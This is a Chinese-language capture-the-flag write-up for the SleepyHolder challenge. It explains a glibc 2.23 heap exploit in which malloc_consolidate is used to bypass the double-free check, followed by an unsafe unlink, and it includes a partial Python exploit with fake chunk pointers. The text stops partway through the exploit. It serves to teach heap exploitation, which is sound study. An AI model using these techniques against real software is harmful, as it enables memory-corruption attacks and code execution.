$ file SleepyHolder
SleepyHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=46f0e70abd9460828444d7f0975a8b2f2ddbad46, stripped
$ checksec -f SleepyHolder
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 2 SleepyHolder
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.3.1 20160413.
64 位程序,开启了 Canary 和 NX,默认开启 ASLR。
在 Ubuntu-16.04 上玩一下:
$ ./SleepyHolder
Waking Sleepy Holder up ...
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
1
What secret do you want to keep?
1. Small secret
2. Big secret
3. Keep a huge secret and lock it forever
1
Tell me your secret:
AAAA
1. Keep secret
2. Wipe secret
3. Renew secret
1
What secret do you want to keep?
1. Small secret
2. Big secret
3. Keep a huge secret and lock it forever
3
Tell me your secret:
CCCC
1. Keep secret
2. Wipe secret
3. Renew secret
3
Which Secret do you want to renew?
1. Small secret
2. Big secret
1
Tell me your secret:
BBBB
1. Keep secret
2. Wipe secret
3. Renew secret
2
Which Secret do you want to wipe?
1. Small secret
2. Big secret
1
当需求 chunk 是一个 large chunk 时,glibc 会将把 fastbins 中的 chunk 移除,设置 PREV_INUSE 为 0,合并 free chunk,然后放到 unsorted bin。接着 glibc 尝试从 unsorted bin 中取出 chunk,由于大小不合适,这些 chunk 又被放到 small bin 中:
这时就可以再次释放 small secret 而不触发 double-free 的检测。
那么为什么一定要将 small secret 放进 small bin 呢?因为当 chunk 被放进 small bin 时,会相应的修改 next chunk(即big secret)的 chunk header(设置prev_size,PREV_INUSE置0),而当 chunk 被放进 fastbins 时是不会有这样的操作的。接下来我们需要通过 double-free 将 small secret 再次放进 fastbins(这时small secret同时存在于fastbins和small bin中),再从 fastbins 中取出 small secret,原因和上面类似,从 fastbins 中取出 chunk 不会设置 next chunk 的 chunk header。这样我们才能正确地触发 unlink。
unsafe unlink
制造 double-free:
上面的过程一方面通过 malloc_consolidate 设置了 big secret 的 PREV_INUSE,另一方面通过 double-free 将 small secret 放进 fastbins。
static void*
_int_malloc(mstate av, size_t bytes)
{
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else {
idx = largebin_index(nb);
if (have_fastchunks(av))
malloc_consolidate(av);
}
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
def unlink():
keep(1, "AAAA") # small
keep(2, "AAAA") # big
wipe(1) # put small into fastbins
keep(3, "AAAA") # huge # put small into small bin
wipe(1) # double free # put small into fastbins
payload = p64(0) + p64(0x21) # fake header
payload += p64(small_ptr - 0x18) # fake fd
payload += p64(small_ptr - 0x10) # fake bk
payload += p64(0x20) # fake prev_size
keep(1, payload)
wipe(2) # unsafe unlink